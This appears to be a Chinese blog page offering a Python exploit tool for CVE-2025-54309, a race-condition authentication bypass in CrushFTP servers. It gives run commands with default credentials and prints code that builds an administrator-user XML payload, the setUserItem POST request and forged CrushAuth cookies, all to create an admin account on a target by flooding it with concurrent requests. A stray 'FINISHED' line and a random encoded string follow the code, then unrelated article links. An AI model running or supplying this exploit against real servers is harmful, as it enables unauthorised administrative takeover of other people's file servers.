CrushFTP 条件竞争认证绕过漏洞利用工具 (CVE-2025-54309)

CrushFTP CVE-2025-54309 条件竞争认证绕过利用工具

本项目是一个针对 CrushFTP 服务器认证绕过漏洞 (CVE-2025-54309) 的高效、可扩展的 Python 利用工具。基于公开的 WatchTowr 研究成果开发,该工具通过条件竞争(Race Condition)在目标服务器上创建新的管理员账户,帮助安全研究人员快速验证漏洞的存在。

功能特性

  • ⚡ 条件竞争利用:核心功能通过发送高并发请求触发漏洞,绕过认证机制。
  • 👤 自定义账户创建:允许用户在利用成功后指定新管理员账户的用户名和密码。
  • 📈 并发请求控制:支持设置发送的请求对数量(默认5000次),以适应不同的网络环境和目标服务器性能。
  • 📦 简洁的Payload设计:内置创建管理员用户所需的完整XML数据包,结构清晰。
  • 🔧 易于扩展 :代码结构模块化,预留了 -P/--payload 参数,方便未来增加其他类型的Payload。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests 库

安装步骤

  1. 克隆或下载项目代码:

    bash 复制代码
    git clone https://github.com/your-repo/CVE-2025-54309-crushftp.git
    cd CVE-2025-54309-crushftp
  2. 安装依赖 : 项目依赖 requests 库,可以使用 pip 进行安装:

    bash 复制代码
    pip install requests

使用说明

基础使用示例

运行脚本需要指定目标 CrushFTP 服务器的 URL。

bash 复制代码
python crushedftp.py http://target.crushftp.com

该命令会使用默认的 username:password (默认为 meow:meow!) 和 5000 个请求对尝试利用漏洞。

高级选项

你可以通过命令行参数自定义利用过程:

bash 复制代码
python crushedftp.py -u admin -p P@ssw0rd -r 8000 http://target.crushftp.com
  • -u, --username:设置要创建的管理员用户名(例如 admin)。
  • -p, --password:设置要创建的管理员密码(例如 P@ssw0rd)。
  • -r, --requests:设置发送的请求对数量(例如 8000)。

典型使用场景

  1. 漏洞验证:对疑似存在漏洞的 CrushFTP 服务器进行验证。使用较低并发数(如1000)和随机账户名,观察是否成功创建用户。
  2. 渗透测试:在授权测试中,通过此工具获取服务器管理权限。可适当提高并发数(如5000-10000)以提高成功率。
  3. 安全研究 :分析漏洞触发机制,调整 C2F_K_VALUE 和 TIMESTAMP_VALUE 等参数,研究Cookie生成逻辑。

API概览

脚本核心逻辑围绕几个主要函数展开:

  • create_user_xml(username, password):生成包含新用户信息的完整 XML 字符串。
  • create_user_payload(c2f_cookie, username, password):构建用于 setUserItem 命令的 POST 数据字典。
  • new_c2f_cookie():生成一个带有随机值的 CrushAuth Cookie。
  • 主函数 exploit(target, username, password, num_requests):执行条件竞争攻击,发送大量并发请求。

核心代码

1. 用户创建 XML 生成器

此函数构建了创建管理员账户所需的核心 XML 结构,包含用户名、密码、站点权限((CONNECT)(WEB_ADMIN))等关键属性。

python 复制代码
def create_user_xml(username='', password='') -> str:
        # 生成当前时间戳字符串,用于日志记录
        current_time = time.strftime('%m/%d/%Y %I:%M:%S %p')
        # 返回格式化的用户XML,包含管理权限
        return  f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{username}</user_name>
<version>1.0</version>
<max_logins>0</max_logins>
<last_logins>{current_time}</last_logins>
<password>{password}</password>
<site>(CONNECT)(WEB_ADMIN)</site>
<ignore_max_logins>true</ignore_max_logins>
<max_idle_time>0</max_idle_time>
<username>{username}</username>
</user>'''

2. 漏洞利用Payload构造

该函数将用户 XML 与必要的虚拟文件系统(VFS)和权限 XML 组合,形成最终发送给 /WebInterface/function/ 端点的完整数据包。c2f 参数取自 Cookie,用于绕过部分验证。

python 复制代码
def create_user_payload(c2f_cookie='', username='', password='' ):
    # 生成用户数据的XML
    user_xml = create_user_xml(username, password)
    # 返回POST数据字典,包含所有必要字段
    return {
            "command": "setUserItem",
            "data_action": "new", 
            "serverGroup": "MainUsers",
            "username": username,
            "user": user_xml,
            "xmlItem": "user",
            "vfs_items": VFS_XML,        # 预定义的VFS XML
            "permissions": PERMISSIONS_XML, # 预定义的权限XML
            "c2f": c2f_cookie.split('=')[-1] # 提取Cookie值
        }

3. 随机Cookie生成

为了在条件竞争中产生大量有效的请求,工具会生成随机的 CrushAuth Cookie。Cookie 的结构模仿了 CrushFTP 的认证格式,包含时间戳和随机字符。

python 复制代码
def new_c2f_cookie():
    # 生成C2F部分的随机字符串,长度由C2F_K_VALUE控制
    c2f = gen_random(C2F_K_VALUE)
    # 获取当前时间的毫秒级时间戳
    timestamp = int(time.time() * 1000)
    # 生成时间戳后缀部分的随机字符串
    suffix = gen_random(TIMESTAMP_VALUE)
    # 组装成完整的CrushAuth Cookie值
    # 格式: CrushAuth={timestamp}_{suffix}{c2f}
    return f"CrushAuth={timestamp}_{suffix}{c2f};cu"
```FINISHED
6HFtX5dABrKlqXeO5PUv/wh60lxkqLqgJWwiJJzRiDkG8rrTOoUE57jc/9Qgxvpk
相关推荐
Maiko Star6 小时前
* LangChain 提示词模板详解:ChatPromptTemplate 的使用与高级特性
java·人工智能·langchain
鬓戈6 小时前
Rust 语言与 AI 应用生态调研及学习路径
人工智能·学习·rust
天远API6 小时前
零信任架构实战:基于天远人企关联构建自动化图谱网关
网络·人工智能·架构·自动化
爱吃提升6 小时前
文生视频模型发展趋势(2026)
人工智能·音视频
AIGS0016 小时前
什么是本体语义平台?和知识图谱、传统数据中台的区别在哪
人工智能·知识图谱·数据中台·ai问数·本体语义平台·智能数据中台
YOLO数据集集合6 小时前
烟叶病虫害检测数据集 | 烟叶病害 无人机航拍 智慧农业 病害检测 9125期
人工智能·目标检测·目标跟踪·无人机·烟草病虫·烟草虫害
Experience-摆渡6 小时前
一个开源免费的本地AI抠图工具 unbagrnd:断网也能用的背景移除
人工智能·开源
只是甲6 小时前
Text2SQL 系列博客 07:4 步选型法(上)- 场景与标准的定义
人工智能·text2sql·nl2sql·ai agent·智能问数
Csvn7 小时前
AI 应用日志别再 print 了:结构化日志 + request_id 贯穿(O01)
人工智能
空 白II7 小时前
9.26 大语言模型研究简报:把 Agent 开发做成“数据—训练—Harness”闭环
人工智能·语言模型·自然语言处理